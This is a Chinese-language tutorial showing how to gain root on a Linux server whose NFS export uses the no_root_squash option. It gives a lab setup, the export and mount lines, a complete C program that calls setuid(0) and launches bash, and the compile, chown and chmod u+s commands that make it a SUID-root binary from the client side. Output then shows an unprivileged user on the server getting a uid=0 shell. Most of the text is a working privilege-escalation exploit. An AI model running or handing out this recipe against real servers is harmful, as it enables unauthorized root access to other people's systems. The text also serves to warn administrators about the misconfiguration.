利用nfs no_root_squash获取root权限
Table of Contents
no_root_squash
nfs服务器配置时,很多人并不注意其中的安全选项,直接写上no_root_squash标志。
需要注意的是,如果写上这个标志,等于直接将系统的root权限分享给了共享者。下面通过一个实例来演示如何通过no_root_squash标志来获取系统的root权限。
系统环境说明
| PC | Address | OS |
| Remote Server | 10.106.58.18 | Ubuntu 18.04 |
| Host Computer | 10.106.22.126 | Arch Linux |
Host NFS配制选项
/home/xxx/share/nfs *(sync,rw,no_root_squash,no_subtree_check)
Guest OS挂载选项
sudo mount -t nfs4 10.106.58.18:/home/xxx/share/nfs aaa
通过no_root_squash来获取root权限
准备一个C程序,用来获取root权限
内容如下,直接跑命令进入shell就行
#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(int argc, char *argv[]){(void) argc;(void) argv;printf("real uid\t %d\n",getuid());printf("effective uid\t %d\n",geteuid());if(setuid(0) == -1){perror("setuid(0) failed");}return system("bash");}
编译,在Host Computer中给binary添加SUID标志
cd aaagcc test.c -o test.binsudo chown root:root test.binsudo chmod u+s test.binls -al test.bin-rwsr-xr-x 1 root root 16744 8月 8 16:33 test.bin
到nfs服务器上以普通用户身份运行
test-user@server-70ubs00702:~$ ls -al /home/xxx/share/nfs/test.bin-rwsr-xr-x 1 root root 16744 Aug 8 16:33 /home/xxx/share/nfs/test.bintest-user@server-70ubs00702:~$ /home/xxx/share/nfs/test.binreal uid 1001effective uid 0root@server-70ubs00702:~# iduid=0(root) gid=1001(test-user) groups=1001(test-user)
成功获取root权限
上面已经成功进入uid=0的shell中